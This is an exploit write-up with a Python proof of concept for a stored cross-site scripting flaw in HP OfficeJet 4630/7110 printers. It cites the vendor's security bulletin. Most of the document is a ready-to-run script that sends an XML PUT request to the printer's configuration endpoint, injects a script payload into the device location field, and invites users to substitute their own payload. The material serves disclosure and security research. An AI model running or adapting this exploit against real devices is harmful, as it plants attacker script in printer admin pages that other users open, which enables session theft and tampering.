# Exploit Title: HP OfficeJet 4630/7110 MYM1FN2025AR 2117A – Stored Cross-Site Scripting (XSS)
# Date: 01/08/2021
# Exploit Author: Tyler Butler
# Vendor Homepage: https://www8.hp.com/
# Vendor Bulletin: https://support.hp.com/ie-en/document/ish_4433829-4433857-16/hpsbpi03742
# Researcher Bulletin: https://tbutler.org/2021/04/29/hp-officejet-4630
# Version: HP OfficeJet 7110 Wide Format ePrinter
# Tested on: HP Officejet 4630 e-All-in-One Printer series model number B4L03A
# PoC:
import requests
import json
from requests.exceptions import HTTPError
target = 'http://192.168.223.1' # The IP of the vulnerable taget
payload = '''<script>alert('XSS');</script>''' # The XSS injection payload you want to use
path='/DevMgmt/ProductConfigDyn.xml' # Path location of the PUT command
pre = '''
<?xml version="1.0" encoding="UTF-8"?>
<!-- THIS DATA SUBJECT TO DISCLAIMER(S) INCLUDED WITH THE PRODUCT OF ORIGIN. -->
<prdcfgdyn2:ProductConfigDyn xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dd="http://www.hp.com/schemas/imaging/con/dictionaries/1.0/" xmlns:prdcfgdyn2="http://www.hp.com/schemas/imaging/con/ledm/productconfigdyn/2009/03/16" xmlns:prdcfgdyn="http://www.hp.com/schemas/imaging/con/ledm/productconfigdyn/2007/11/05" xsi:schemaLocation="http://www.hp.com/schemas/imaging/con/ledm/productconfigdyn/2009/03/16 ../schemas/ledm2/ProductConfigDyn.xsd http://www.hp.com/schemas/imaging/con/ledm/productconfigdyn/2007/11/05 ../schemas/ProductConfigDyn.xsd http://www.hp.com/schemas/imaging/con/dictionaries/1.0/ ../schemas/dd/DataDictionaryMasterLEDM.xsd">
<prdcfgdyn2:ProductSettings>
<prdcfgdyn:DeviceInformation>
<dd:DeviceLocation>
''' # The start of the request body
post = '''
</dd:DeviceLocation>
</prdcfgdyn:DeviceInformation>
</prdcfgdyn2:ProductSettings>
</prdcfgdyn2:ProductConfigDyn>
''' # The end of the request body
body = pre + payload + post
headers = {
'Host':'192.168.223.1',
'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0',
'Accept':'*/*',
'Accept-Language':'en-US,en;q=0.5',
'Accept-Encoding':'gzip, deflate',
'Content-Type':'text/xml',
'Content-Length':str(len(body.encode('utf-8'))),
'Origin':'https://192.168.223.1',
'Connection':'close',
'Referer':target,
}
print('{!} Starting HP Officejet 4630 XSS Injector .... \n Author: Tyler Butler\n @tbutler0x90')
try:
print('{!} Injecting payload :',payload)
response = requests.put(target+path, headers = headers, data = body)
response.raise_for_status()
except HTTPError as http_err:
print('{X}',f'HTTP error occurred: {http_err}')
except Exception as err:
print('{X}',f'Other error occurred: {err}')
else:
print('{!} Success!')
